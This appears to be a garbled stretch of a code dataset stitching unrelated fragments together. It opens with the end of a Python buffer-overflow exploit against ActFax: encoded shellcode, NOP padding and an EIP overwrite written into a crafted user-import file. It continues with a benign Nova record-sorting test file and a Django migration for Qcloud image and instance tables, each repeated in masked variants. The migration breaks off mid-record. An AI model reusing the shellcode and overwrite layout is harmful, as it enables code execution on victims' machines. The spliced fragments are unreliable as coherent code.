(\r\n\"\\x89\\xe5\\xdb\\xce\\xd9\\x75\\xf4\\x58\\x50\\x59\\x49\\x49\\x49\\x49\"\r\n\"\\x43\\x43\\x43\\x43\\x43\\x43\\x51\\x5a\\x56\\x54\\x58\\x33\\x30\\x56\"\r\n\"\\x58\\x34\\x41\\x50\\x30\\x41\\x33\\x48\\x48\\x30\\x41\\x30\\x30\\x41\"\r\n\"\\x42\\x41\\x41\\x42\\x54\\x41\\x41\\x51\\x32\\x41\\x42\\x32\\x42\\x42\"\r\n\"\\x30\\x42\\x42\\x58\\x50\\x38\\x41\\x43\\x4a\\x4a\\x49\\x4b\\x4c\\x5a\"\r\n\"\\x48\\x4d\\x59\\x45\\x50\\x35\\x50\\x53\\x30\\x43\\x50\\x4d\\x59\\x4a\"\r\n\"\\x45\\x56\\x51\\x48\\x52\\x55\\x34\\x4c\\x4b\\x36\\x32\\x50\\x30\\x4c\"\r\n\"\\x4b\\x36\\x32\\x44\\x4c\\x4c\\x4b\\x30\\x52\\x52\\x34\\x4c\\x4b\\x34\"\r\n\"\\x32\\x56\\x48\\x34\\x4f\\x38\\x37\\x51\\x5a\\x37\\x56\\x46\\x51\\x4b\"\r\n\"\\x4f\\x46\\x51\\x39\\x50\\x4e\\x4c\\x47\\x4c\\x35\\x31\\x43\\x4c\\x43\"\r\n\"\\x32\\x36\\x4c\\x31\\x30\\x49\\x51\\x48\\x4f\\x34\\x4d\\x55\\x51\\x58\"\r\n\"\\x47\\x4a\\x42\\x4c\\x30\\x30\\x52\\x50\\x57\\x4c\\x4b\\x50\\x52\\x52\"\r\n\"\\x30\\x4c\\x4b\\x37\\x32\\x47\\x4c\\x55\\x51\\x58\\x50\\x4c\\x4b\\x47\"\r\n\"\\x30\\x33\\x48\\x4b\\x35\\x39\\x50\\x34\\x34\\x50\\x4a\\x33\\x31\\x4e\"\r\n\"\\x30\\x30\\x50\\x4c\\x4b\\x57\\x38\\x52\\x38\\x4c\\x4b\\x36\\x38\\x51\"\r\n\"\\x30\\x33\\x31\\x4e\\x33\\x4b\\x53\\x57\\x4c\\x57\\x39\\x4c\\x4b\\x56\"\r\n\"\\x54\\x4c\\x4b\\x53\\x31\\x48\\x56\\x36\\x51\\x4b\\x4f\\x46\\x51\\x4f\"\r\n\"\\x30\\x4e\\x4c\\x49\\x51\\x58\\x4f\\x54\\x4d\\x55\\x51\\x39\\x57\\x50\"\r\n\"\\x38\\x4b\\x50\\x32\\x55\\x5a\\x54\\x53\\x33\\x43\\x4d\\x4b\\x48\\x47\"\r\n\"\\x4b\\x33\\x4d\\x46\\x44\\x53\\x45\\x5a\\x42\\x36\\x38\\x4c\\x4b\\x30\"\r\n\"\\x58\\x47\\x54\\x45\\x51\\x49\\x43\\x45\\x36\\x4c\\x4b\\x44\\x4c\\x30\"\r\n\"\\x4b\\x4c\\x4b\\x36\\x38\\x55\\x4c\\x53\\x31\\x59\\x43\\x4c\\x4b\\x54\"\r\n\"\\x44\\x4c\\x4b\\x55\\x51\\x48\\x50\\x4c\\x49\\x31\\x54\\x47\\x54\\x36\"\r\n\"\\x44\\x51\\x4b\\x31\\x4b\\x55\\x31\\x36\\x39\\x31\\x4a\\x36\\x31\\x4b\"\r\n\"\\x4f\\x4d\\x30\\x51\\x48\\x51\\x4f\\x50\\x5a\\x4c\\x4b\\x55\\x42\\x5a\"\r\n\"\\x4b\\x4d\\x56\\x31\\x4d\\x52\\x4a\\x45\\x51\\x4c\\x4d\\x4d\\x55\\x4f\"\r\n\"\\x49\\x45\\x50\\x53\\x30\\x53\\x30\\x46\\x30\\x42\\x48\\x36\\x51\\x4c\"\r\n\"\\x4b\\x52\\x4f\\x4d\\x57\\x4b\\x4f\\x39\\x45\\x4f\\x4b\\x4a\\x50\\x4e\"\r\n\"\\x55\\x39\\x32\\x31\\x46\\x55\\x38\\x59\\x36\\x4d\\x45\\x4f\\x4d\\x4d\"\r\n\"\\x4d\\x4b\\x4f\\x58\\x55\\x57\\x4c\\x35\\x56\\x53\\x4c\\x44\\x4a\\x4d\"\r\n\"\\x50\\x4b\\x4b\\x4d\\x30\\x52\\x55\\x55\\x55\\x4f\\x4b\\x37\\x37\\x35\"\r\n\"\\x43\\x52\\x52\\x32\\x4f\\x43\\x5a\\x43\\x30\\x56\\x33\\x4b\\x4f\\x4e\"\r\n\"\\x35\\x32\\x43\\x32\\x4d\\x45\\x34\\x46\\x4e\\x35\\x35\\x43\\x48\\x45\"\r\n\"\\x35\\x33\\x30\\x41\\x41\")\r\n\r\nfrontpad = \"\\x90\" * 10 \r\neip = \"\\x22\\x1b\\x40\\x00\"\t#00401B22 RETN actfax.exe\r\nbackpad = \"\\x90\" * 6000\r\nbuff = frontpad + sc + \"\\x90\" * (502 - len(sc)) + eip + backpad\r\n\r\nf = open(\"pwnag3.exp\", \"w\")\r\nf.write(\r\n\"User Name\\tEntire User Name\\tPassword\\tAlias-Names\\tGroup\\tDirect Dialing\\tCost Account\\tPermissions\\tComments\\tUser-Defined\\t\"\r\n\"Predefined Settings\\tName 1\\tName 2\\tName 3\\tName 4\\tName 5\\tDepartment\\tAttention of\\tPhone 1\\tPhone 2\\tFax Number\\tE-Mail\\t\"\r\n\"Coverpage Non-Windows\\tOverlay Non-Windows\\tCoverpage Windows\\tOverlay Windows\\tUser-Defined\\tPrinter Settings\\tAutomatic Printing Outgoing\\t\"\r\n\"Printer Name Outgoing\\tReport Outgoing\\tAutomatic Printing Incoming\\tPrinter Name Incoming\\tReport Incoming\\tNotification Outgoing\\t\"\r\n\"Email Outgoing\\tNotification Incoming\\tEmail Incoming\\tAttach Original Message\\tUser-Defined Archive Settings\\tExport Outgoing\\t\"\r\n\"Export Incoming\\tExport-Path\\tMark as Read\\x0d\\x0a\"+buff+\"\\x0d\\x0a\")\r\nf.close()\r\n\r\n\r\n\r\n\r\n", "step-5": null, "step-ids": [ 0, 1, 2, 3 ] }
[ 0, 1, 2, 3 ]
# Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. import datetime from nova.compute import multi_cell_list from nova import test class TestUtils(test.NoDBTestCase): def test_compare_simple(self): dt1 = datetime.datetime(2015, 11, 5, 20, 30, 00) dt2 = datetime.datetime(1955, 10, 25, 1, 21, 00) inst1 = {'key0': 'foo', 'key1': 'd', 'key2': 456, 'key4': dt1} inst2 = {'key0': 'foo', 'key1': 's', 'key2': 123, 'key4': dt2} # Equal key0, inst == inst2 ctx = multi_cell_list.RecordSortContext(['key0'], ['asc']) self.assertEqual(0, ctx.compare_records(inst1, inst2)) # Equal key0, inst == inst2 (direction should not matter) ctx = multi_cell_list.RecordSortContext(['key0'], ['desc']) self.assertEqual(0, ctx.compare_records(inst1, inst2)) # Ascending by key1, inst1 < inst2 ctx = multi_cell_list.RecordSortContext(['key1'], ['asc']) self.assertEqual(-1, ctx.compare_records(inst1, inst2)) # Descending by key1, inst2 < inst1 ctx = multi_cell_list.RecordSortContext(['key1'], ['desc']) self.assertEqual(1, ctx.compare_records(inst1, inst2)) # Ascending by key2, inst2 < inst1 ctx = multi_cell_list.RecordSortContext(['key2'], ['asc']) self.assertEqual(1, ctx.compare_records(inst1, inst2)) # Descending by key2, inst1 < inst2 ctx = multi_cell_list.RecordSortContext(['key2'], ['desc']) self.assertEqual(-1, ctx.compare_records(inst1, inst2)) # Ascending by key4, inst1 > inst2 ctx = multi_cell_list.RecordSortContext(['key4'], ['asc']) self.assertEqual(1, ctx.compare_records(inst1, inst2)) # Descending by key4, inst1 < inst2 ctx = multi_cell_list.RecordSortContext(['key4'], ['desc']) self.assertEqual(-1, ctx.compare_records(inst1, inst2)) def test_compare_multiple(self): # key0 should not affect ordering, but key1 should inst1 = {'key0': 'foo', 'key1': 'd', 'key2': 456} inst2 = {'key0': 'foo', 'key1': 's', 'key2': 123} # Should be equivalent to ascending by key1 ctx = multi_cell_list.RecordSortContext(['key0', 'key1'], ['asc', 'asc']) self.assertEqual(-1, ctx.compare_records(inst1, inst2)) # Should be equivalent to descending by key1 ctx = multi_cell_list.RecordSortContext(['key0', 'key1'], ['asc', 'desc']) self.assertEqual(1, ctx.compare_records(inst1, inst2)) def test_wrapper(self): inst1 = {'key0': 'foo', 'key1': 'd', 'key2': 456} inst2 = {'key0': 'foo', 'key1': 's', 'key2': 123} # Should sort by key1 ctx = multi_cell_list.RecordSortContext(['key0', 'key1'], ['asc', 'asc']) iw1 = multi_cell_list.RecordWrapper(ctx, inst1) iw2 = multi_cell_list.RecordWrapper(ctx, inst2) # Check this both ways to make sure we're comparing against -1 # and not just nonzero return from cmp() self.assertTrue(iw1 < iw2) self.assertFalse(iw2 < iw1) # Should sort reverse by key1 ctx = multi_cell_list.RecordSortContext(['key0', 'key1'], ['asc', 'desc']) iw1 = multi_cell_list.RecordWrapper(ctx, inst1) iw2 = multi_cell_list.RecordWrapper(ctx, inst2) # Check this both ways to make sure we're comparing against -1 # and not just nonzero return from cmp() self.assertTrue(iw1 > iw2) self.assertFalse(iw2 > iw1)
normal
{ "blob_id": "9fa1dab7cb0debf363ae0864af1407c87aad063a", "index": 4926, "step-1": "<mask token>\n\n\nclass TestUtils(test.NoDBTestCase):\n <mask token>\n <mask token>\n <mask token>\n", "step-2": "<mask token>\n\n\nclass TestUtils(test.NoDBTestCase):\n <mask token>\n\n def test_compare_multiple(self):\n inst1 = {'key0': 'foo', 'key1': 'd', 'key2': 456}\n inst2 = {'key0': 'foo', 'key1': 's', 'key2': 123}\n ctx = multi_cell_list.RecordSortContext(['key0', 'key1'], ['asc',\n 'asc'])\n self.assertEqual(-1, ctx.compare_records(inst1, inst2))\n ctx = multi_cell_list.RecordSortContext(['key0', 'key1'], ['asc',\n 'desc'])\n self.assertEqual(1, ctx.compare_records(inst1, inst2))\n <mask token>\n", "step-3": "<mask token>\n\n\nclass TestUtils(test.NoDBTestCase):\n\n def test_compare_simple(self):\n dt1 = datetime.datetime(2015, 11, 5, 20, 30, 0)\n dt2 = datetime.datetime(1955, 10, 25, 1, 21, 0)\n inst1 = {'key0': 'foo', 'key1': 'd', 'key2': 456, 'key4': dt1}\n inst2 = {'key0': 'foo', 'key1': 's', 'key2': 123, 'key4': dt2}\n ctx = multi_cell_list.RecordSortContext(['key0'], ['asc'])\n self.assertEqual(0, ctx.compare_records(inst1, inst2))\n ctx = multi_cell_list.RecordSortContext(['key0'], ['desc'])\n self.assertEqual(0, ctx.compare_records(inst1, inst2))\n ctx = multi_cell_list.RecordSortContext(['key1'], ['asc'])\n self.assertEqual(-1, ctx.compare_records(inst1, inst2))\n ctx = multi_cell_list.RecordSortContext(['key1'], ['desc'])\n self.assertEqual(1, ctx.compare_records(inst1, inst2))\n ctx = multi_cell_list.RecordSortContext(['key2'], ['asc'])\n self.assertEqual(1, ctx.compare_records(inst1, inst2))\n ctx = multi_cell_list.RecordSortContext(['key2'], ['desc'])\n self.assertEqual(-1, ctx.compare_records(inst1, inst2))\n ctx = multi_cell_list.RecordSortContext(['key4'], ['asc'])\n self.assertEqual(1, ctx.compare_records(inst1, inst2))\n ctx = multi_cell_list.RecordSortContext(['key4'], ['desc'])\n self.assertEqual(-1, ctx.compare_records(inst1, inst2))\n\n def test_compare_multiple(self):\n inst1 = {'key0': 'foo', 'key1': 'd', 'key2': 456}\n inst2 = {'key0': 'foo', 'key1': 's', 'key2': 123}\n ctx = multi_cell_list.RecordSortContext(['key0', 'key1'], ['asc',\n 'asc'])\n self.assertEqual(-1, ctx.compare_records(inst1, inst2))\n ctx = multi_cell_list.RecordSortContext(['key0', 'key1'], ['asc',\n 'desc'])\n self.assertEqual(1, ctx.compare_records(inst1, inst2))\n\n def test_wrapper(self):\n inst1 = {'key0': 'foo', 'key1': 'd', 'key2': 456}\n inst2 = {'key0': 'foo', 'key1': 's', 'key2': 123}\n ctx = multi_cell_list.RecordSortContext(['key0', 'key1'], ['asc',\n 'asc'])\n iw1 = multi_cell_list.RecordWrapper(ctx, inst1)\n iw2 = multi_cell_list.RecordWrapper(ctx, inst2)\n self.assertTrue(iw1 < iw2)\n self.assertFalse(iw2 < iw1)\n ctx = multi_cell_list.RecordSortContext(['key0', 'key1'], ['asc',\n 'desc'])\n iw1 = multi_cell_list.RecordWrapper(ctx, inst1)\n iw2 = multi_cell_list.RecordWrapper(ctx, inst2)\n self.assertTrue(iw1 > iw2)\n self.assertFalse(iw2 > iw1)\n", "step-4": "import datetime\nfrom nova.compute import multi_cell_list\nfrom nova import test\n\n\nclass TestUtils(test.NoDBTestCase):\n\n def test_compare_simple(self):\n dt1 = datetime.datetime(2015, 11, 5, 20, 30, 0)\n dt2 = datetime.datetime(1955, 10, 25, 1, 21, 0)\n inst1 = {'key0': 'foo', 'key1': 'd', 'key2': 456, 'key4': dt1}\n inst2 = {'key0': 'foo', 'key1': 's', 'key2': 123, 'key4': dt2}\n ctx = multi_cell_list.RecordSortContext(['key0'], ['asc'])\n self.assertEqual(0, ctx.compare_records(inst1, inst2))\n ctx = multi_cell_list.RecordSortContext(['key0'], ['desc'])\n self.assertEqual(0, ctx.compare_records(inst1, inst2))\n ctx = multi_cell_list.RecordSortContext(['key1'], ['asc'])\n self.assertEqual(-1, ctx.compare_records(inst1, inst2))\n ctx = multi_cell_list.RecordSortContext(['key1'], ['desc'])\n self.assertEqual(1, ctx.compare_records(inst1, inst2))\n ctx = multi_cell_list.RecordSortContext(['key2'], ['asc'])\n self.assertEqual(1, ctx.compare_records(inst1, inst2))\n ctx = multi_cell_list.RecordSortContext(['key2'], ['desc'])\n self.assertEqual(-1, ctx.compare_records(inst1, inst2))\n ctx = multi_cell_list.RecordSortContext(['key4'], ['asc'])\n self.assertEqual(1, ctx.compare_records(inst1, inst2))\n ctx = multi_cell_list.RecordSortContext(['key4'], ['desc'])\n self.assertEqual(-1, ctx.compare_records(inst1, inst2))\n\n def test_compare_multiple(self):\n inst1 = {'key0': 'foo', 'key1': 'd', 'key2': 456}\n inst2 = {'key0': 'foo', 'key1': 's', 'key2': 123}\n ctx = multi_cell_list.RecordSortContext(['key0', 'key1'], ['asc',\n 'asc'])\n self.assertEqual(-1, ctx.compare_records(inst1, inst2))\n ctx = multi_cell_list.RecordSortContext(['key0', 'key1'], ['asc',\n 'desc'])\n self.assertEqual(1, ctx.compare_records(inst1, inst2))\n\n def test_wrapper(self):\n inst1 = {'key0': 'foo', 'key1': 'd', 'key2': 456}\n inst2 = {'key0': 'foo', 'key1': 's', 'key2': 123}\n ctx = multi_cell_list.RecordSortContext(['key0', 'key1'], ['asc',\n 'asc'])\n iw1 = multi_cell_list.RecordWrapper(ctx, inst1)\n iw2 = multi_cell_list.RecordWrapper(ctx, inst2)\n self.assertTrue(iw1 < iw2)\n self.assertFalse(iw2 < iw1)\n ctx = multi_cell_list.RecordSortContext(['key0', 'key1'], ['asc',\n 'desc'])\n iw1 = multi_cell_list.RecordWrapper(ctx, inst1)\n iw2 = multi_cell_list.RecordWrapper(ctx, inst2)\n self.assertTrue(iw1 > iw2)\n self.assertFalse(iw2 > iw1)\n", "step-5": "# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nimport datetime\n\nfrom nova.compute import multi_cell_list\nfrom nova import test\n\n\nclass TestUtils(test.NoDBTestCase):\n def test_compare_simple(self):\n dt1 = datetime.datetime(2015, 11, 5, 20, 30, 00)\n dt2 = datetime.datetime(1955, 10, 25, 1, 21, 00)\n\n inst1 = {'key0': 'foo', 'key1': 'd', 'key2': 456, 'key4': dt1}\n inst2 = {'key0': 'foo', 'key1': 's', 'key2': 123, 'key4': dt2}\n\n # Equal key0, inst == inst2\n ctx = multi_cell_list.RecordSortContext(['key0'], ['asc'])\n self.assertEqual(0, ctx.compare_records(inst1, inst2))\n\n # Equal key0, inst == inst2 (direction should not matter)\n ctx = multi_cell_list.RecordSortContext(['key0'], ['desc'])\n self.assertEqual(0, ctx.compare_records(inst1, inst2))\n\n # Ascending by key1, inst1 < inst2\n ctx = multi_cell_list.RecordSortContext(['key1'], ['asc'])\n self.assertEqual(-1, ctx.compare_records(inst1, inst2))\n\n # Descending by key1, inst2 < inst1\n ctx = multi_cell_list.RecordSortContext(['key1'], ['desc'])\n self.assertEqual(1, ctx.compare_records(inst1, inst2))\n\n # Ascending by key2, inst2 < inst1\n ctx = multi_cell_list.RecordSortContext(['key2'], ['asc'])\n self.assertEqual(1, ctx.compare_records(inst1, inst2))\n\n # Descending by key2, inst1 < inst2\n ctx = multi_cell_list.RecordSortContext(['key2'], ['desc'])\n self.assertEqual(-1, ctx.compare_records(inst1, inst2))\n\n # Ascending by key4, inst1 > inst2\n ctx = multi_cell_list.RecordSortContext(['key4'], ['asc'])\n self.assertEqual(1, ctx.compare_records(inst1, inst2))\n\n # Descending by key4, inst1 < inst2\n ctx = multi_cell_list.RecordSortContext(['key4'], ['desc'])\n self.assertEqual(-1, ctx.compare_records(inst1, inst2))\n\n def test_compare_multiple(self):\n # key0 should not affect ordering, but key1 should\n\n inst1 = {'key0': 'foo', 'key1': 'd', 'key2': 456}\n inst2 = {'key0': 'foo', 'key1': 's', 'key2': 123}\n\n # Should be equivalent to ascending by key1\n ctx = multi_cell_list.RecordSortContext(['key0', 'key1'],\n ['asc', 'asc'])\n self.assertEqual(-1, ctx.compare_records(inst1, inst2))\n\n # Should be equivalent to descending by key1\n ctx = multi_cell_list.RecordSortContext(['key0', 'key1'],\n ['asc', 'desc'])\n self.assertEqual(1, ctx.compare_records(inst1, inst2))\n\n def test_wrapper(self):\n inst1 = {'key0': 'foo', 'key1': 'd', 'key2': 456}\n inst2 = {'key0': 'foo', 'key1': 's', 'key2': 123}\n\n # Should sort by key1\n ctx = multi_cell_list.RecordSortContext(['key0', 'key1'],\n ['asc', 'asc'])\n iw1 = multi_cell_list.RecordWrapper(ctx, inst1)\n iw2 = multi_cell_list.RecordWrapper(ctx, inst2)\n # Check this both ways to make sure we're comparing against -1\n # and not just nonzero return from cmp()\n self.assertTrue(iw1 < iw2)\n self.assertFalse(iw2 < iw1)\n\n # Should sort reverse by key1\n ctx = multi_cell_list.RecordSortContext(['key0', 'key1'],\n ['asc', 'desc'])\n iw1 = multi_cell_list.RecordWrapper(ctx, inst1)\n iw2 = multi_cell_list.RecordWrapper(ctx, inst2)\n # Check this both ways to make sure we're comparing against -1\n # and not just nonzero return from cmp()\n self.assertTrue(iw1 > iw2)\n self.assertFalse(iw2 > iw1)\n", "step-ids": [ 1, 2, 4, 5, 6 ] }
[ 1, 2, 4, 5, 6 ]
# -*- coding: utf-8 -*- from __future__ import unicode_literals from django.db import migrations, models import django.utils.timezone class Migration(migrations.Migration): dependencies = [ ('home_application', '0019_auto_20170809_1810'), ] operations = [ migrations.CreateModel( name='QcloudImageInfo', fields=[ ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)), ('image_id', models.CharField(max_length=50, verbose_name='\u955c\u50cfid')), ('osname', models.CharField(max_length=50, verbose_name='\u64cd\u4f5c\u7cfb\u7edf\u540d\u79f0')), ('image_size', models.CharField(max_length=50, verbose_name='\u64cd\u4f5c\u7cfb\u7edf\u5bb9\u91cf\uff08GiB\uff09')), ('image_type', models.IntegerField(verbose_name='\u955c\u50cf\u7c7b\u578b')), ('created_time', models.CharField(max_length=50, verbose_name='\u955c\u50cf\u521b\u5efa\u65f6\u95f4')), ('image_state', models.CharField(max_length=50, verbose_name='\u955c\u50cf\u72b6\u6001')), ('image_source', models.CharField(max_length=50, verbose_name='\u955c\u50cf\u6765\u6e90')), ('image_name', models.CharField(max_length=50, verbose_name='\u955c\u50cf\u540d\u79f0')), ('image_description', models.CharField(max_length=50, verbose_name='\u955c\u50cf\u8be6\u7ec6\u63cf\u8ff0')), ('image_creator', models.CharField(max_length=50, verbose_name='\u955c\u50cf\u521b\u5efa\u8005')), ('operation_mask', models.CharField(max_length=50, verbose_name='')), ], options={ 'db_table': 'qcloud_image_info', }, ), migrations.CreateModel( name='QcloudInstanceInfo', fields=[ ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)), ('instance_id', models.CharField(max_length=50, verbose_name='\u5b9e\u4f8bid')), ('instance_name', models.CharField(max_length=50, verbose_name='\u5b9e\u4f8b\u540d\u79f0')), ('instance_type', models.CharField(max_length=50, verbose_name='\u5b9e\u4f8b\u7c7b\u578b')), ('cpu', models.CharField(max_length=50, verbose_name='cpu')), ('memory', models.CharField(max_length=50, verbose_name='\u5185\u5b58')), ('status', models.CharField(max_length=50, verbose_name='\u5b9e\u4f8b\u72b6\u6001')), ('zone', models.CharField(max_length=50, verbose_name='\u5b9e\u4f8b\u6240\u5c5e\u5730\u57df')), ('instance_charge_type', models.CharField(max_length=50, verbose_name='\u5b9e\u4f8b\u8ba1\u8d39\u6a21\u5f0f')), ('private_ip_addresses', models.CharField(max_length=50, verbose_name='\u5185\u7f51ip')), ('public_ip_addresses', models.CharField(max_length=50, verbose_name='\u5916\u7f51ip')), ('image_id', models.CharField(max_length=50, verbose_name='\u955c\u50cfid')), ('os_name', models.CharField(max_length=50, verbose_name='\u64cd\u4f5c\u7cfb\u7edf\u540d\u79f0')), ('system_disk_type', models.CharField(max_length=50, verbose_name='\u7cfb\u7edf\u76d8\u7c7b\u578b')), ('system_disk_size', models.CharField(max_length=50, verbose_name='\u7cfb\u7edf\u76d8\u5c3a\u5bf8')), ('renew_flag', models.CharField(max_length=50, verbose_name='\u81ea\u52a8\u7eed\u8d39\u6807\u8bc6')), ('internet_max_bandwidth_out', models.CharField(max_length=50, verbose_name='\u5b9e\u4f8b\u7f51\u7edc\u5e26\u5bbd\u4e0a\u9650')), ('internet_charge_type', models.CharField(max_length=50, verbose_name='\u5b9e\u4f8b\u7f51\u7edc\u8ba1\u8d39\u7c7b\u578b')), ('created_time', models.DateTimeField(default=django.utils.timezone.now, verbose_name='\u5b9e\u4f8b\u521b\u5efa\u65f6\u95f4')), ('expired_time', models.DateTimeField(default=django.utils.timezone.now, verbose_name='\u5b9e\u4f8b\u5230\u671f\u65f6\u95f4')), ], options={ 'db_table': 'qcloud_instance_info', }, ), ]
normal
{ "blob_id": "a1db566f4da16e7725212aeab29e946ef7c1672e", "index": 5610, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\nclass Migration(migrations.Migration):\n <mask token>\n <mask token>\n", "step-3": "<mask token>\n\n\nclass Migration(migrations.Migration):\n dependencies = [('home_application', '0019_auto_20170809_1810')]\n operations = [migrations.CreateModel(name='QcloudImageInfo', fields=[(\n 'id', models.AutoField(verbose_name='ID', serialize=False,\n auto_created=True, primary_key=True)), ('image_id', models.\n CharField(max_length=50, verbose_name='镜像id')), ('osname', models.\n CharField(max_length=50, verbose_name='操作系统名称')), ('image_size',\n models.CharField(max_length=50, verbose_name='操作系统容量(GiB)')), (\n 'image_type', models.IntegerField(verbose_name='镜像类型')), (\n 'created_time', models.CharField(max_length=50, verbose_name=\n '镜像创建时间')), ('image_state', models.CharField(max_length=50,\n verbose_name='镜像状态')), ('image_source', models.CharField(max_length\n =50, verbose_name='镜像来源')), ('image_name', models.CharField(\n max_length=50, verbose_name='镜像名称')), ('image_description', models.\n CharField(max_length=50, verbose_name='镜像详细描述')), ('image_creator',\n models.CharField(max_length=50, verbose_name='镜像创建者')), (\n 'operation_mask', models.CharField(max_length=50, verbose_name=''))\n ], options={'db_table': 'qcloud_image_info'}), migrations.\n CreateModel(name='QcloudInstanceInfo', fields=[('id', models.\n AutoField(verbose_name='ID', serialize=False, auto_created=True,\n primary_key=True)), ('instance_id', models.CharField(max_length=50,\n verbose_name='实例id')), ('instance_name', models.CharField(\n max_length=50, verbose_name='实例名称')), ('instance_type', models.\n CharField(max_length=50, verbose_name='实例类型')), ('cpu', models.\n CharField(max_length=50, verbose_name='cpu')), ('memory', models.\n CharField(max_length=50, verbose_name='内存')), ('status', models.\n CharField(max_length=50, verbose_name='实例状态')), ('zone', models.\n CharField(max_length=50, verbose_name='实例所属地域')), (\n 'instance_charge_type', models.CharField(max_length=50,\n verbose_name='实例计费模式')), ('private_ip_addresses', models.CharField(\n max_length=50, verbose_name='内网ip')), ('public_ip_addresses',\n models.CharField(max_length=50, verbose_name='外网ip')), ('image_id',\n models.CharField(max_length=50, verbose_name='镜像id')), ('os_name',\n models.CharField(max_length=50, verbose_name='操作系统名称')), (\n 'system_disk_type', models.CharField(max_length=50, verbose_name=\n '系统盘类型')), ('system_disk_size', models.CharField(max_length=50,\n verbose_name='系统盘尺寸')), ('renew_flag', models.CharField(max_length=\n 50, verbose_name='自动续费标识')), ('internet_max_bandwidth_out', models.\n CharField(max_length=50, verbose_name='实例网络带宽上限')), (\n 'internet_charge_type', models.CharField(max_length=50,\n verbose_name='实例网络计费类型')), ('created_time', models.DateTimeField(\n default=django.utils.timezone.now, verbose_name='实例创建时间')), (\n 'expired_time', models.DateTimeField(default=django.utils.timezone.\n now, verbose_name='实例到期时间'))], options={'db_table':\n 'qcloud_instance_info'})]\n", "step-4": "from __future__ import unicode_literals\nfrom django.db import migrations, models\nimport django.utils.timezone\n\n\nclass Migration(migrations.Migration):\n dependencies = [('home_application', '0019_auto_20170809_1810')]\n operations = [migrations.CreateModel(name='QcloudImageInfo', fields=[(\n 'id', models.AutoField(verbose_name='ID', serialize=False,\n auto_created=True, primary_key=True)), ('image_id', models.\n CharField(max_length=50, verbose_name='镜像id')), ('osname', models.\n CharField(max_length=50, verbose_name='操作系统名称')), ('image_size',\n models.CharField(max_length=50, verbose_name='操作系统容量(GiB)')), (\n 'image_type', models.IntegerField(verbose_name='镜像类型')), (\n 'created_time', models.CharField(max_length=50, verbose_name=\n '镜像创建时间')), ('image_state', models.CharField(max_length=50,\n verbose_name='镜像状态')), ('image_source', models.CharField(max_length\n =50, verbose_name='镜像来源')), ('image_name', models.CharField(\n max_length=50, verbose_name='镜像名称')), ('image_description', models.\n CharField(max_length=50, verbose_name='镜像详细描述')), ('image_creator',\n models.CharField(max_length=50, verbose_name='镜像创建者')), (\n 'operation_mask', models.CharField(max_length=50, verbose_name=''))\n ], options={'db_table': 'qcloud_image_info'}), migrations.\n CreateModel(name='QcloudInstanceInfo', fields=[('id', models.\n AutoField(verbose_name='ID', serialize=False, auto_created=True,\n primary_key=True)), ('instance_id', models.CharField(max_length=50,\n verbose_name='实例id')), ('instance_name', models.CharField(\n max_length=50, verbose_name='实例名称')), ('instance_type', models.\n CharField(max_length=50, verbose_name='实例类型')), ('cpu', models.\n CharField(max_length=50, verbose_name='cpu')), ('memory', models.\n CharField(max_length=50, verbose_name='内存')), ('status', models.\n CharField(max_length=50, verbose_name='实例状态')), ('zone', models.\n CharField(max_length=50, verbose_name='实例所属地域')), (\n 'instance_charge_type', models.CharField(max_length=50,\n verbose_name='实例计费模式')), ('private_ip_addresses', models.CharField(\n max_length=50, verbose_name='内网ip')), ('public_ip_addresses',\n models.CharField(max_length=50, verbose_name='外网ip')), ('image_id',\n models.CharField(max_length=50, verbose_name='镜像id')), ('os_name',\n models.CharField(max_length=50, verbose_name='操作系统名称')), (\n 'system_disk_type', models.CharField(max_length=50, verbose_name=\n '系统盘类型')), ('system_disk_size', models.CharField(max_length=50,\n verbose_name='系统盘尺寸')), ('renew_flag', models.CharField(max_length=\n 50, verbose_name='自动续费标识')), ('internet_max_bandwidth_out', models.\n CharField(max_length=50, verbose_name='实例网络带宽上限')), (\n 'internet_charge_type', models.CharField(max_length=50,\n verbose_name='实例网络计费类型')), ('created_time', models.DateTimeField(\n default=django.utils.timezone.now, verbose_name='实例创建时间')), (\n 'expired_time', models.DateTimeField(default=django.utils.timezone.\n now, verbose_name='实例到期时间'))], options={'db_table':\n 'qcloud_instance_info'})]\n", "step-5": "# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\nimport django.utils.timezone\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('home_application', '0019_auto_20170809_1810'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='QcloudImageInfo',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('image_id', models.CharField(max_length=50, verbose_name='\\u955c\\u50cfid')),\n ('osname', models.CharField(max_length=50, verbose_name='\\u64cd\\u4f5c\\u7cfb\\u7edf\\u540d\\u79f0')),\n ('image_size', models.CharField(max_length=50, verbose_name='\\u64cd\\u4f5c\\u7cfb\\u7edf\\u5bb9\\u91cf\\uff08GiB\\uff09')),\n ('image_type', models.IntegerField(verbose_name='\\u955c\\u50cf\\u7c7b\\u578b')),\n ('created_time', models.CharField(max_length=50, verbose_name='\\u955c\\u50cf\\u521b\\u5efa\\u65f6\\u95f4')),\n ('image_state', models.CharField(max_length=50, verbose_name='\\u955c\\u50cf\\u72b6\\u6001')),\n ('image_source', models.CharField(max_length=50, verbose_name='\\u955c\\u50cf\\u6765\\u6e90')),\n ('image_name', models.CharField(max_length=50, verbose_name='\\u955c\\u50cf\\u540d\\u79f0')),\n ('image_description', models.CharField(max_length=50, verbose_name='\\u955c\\u50cf\\u8be6\\u7ec6\\u63cf\\u8ff0')),\n ('image_creator', models.CharField(max_length=50, 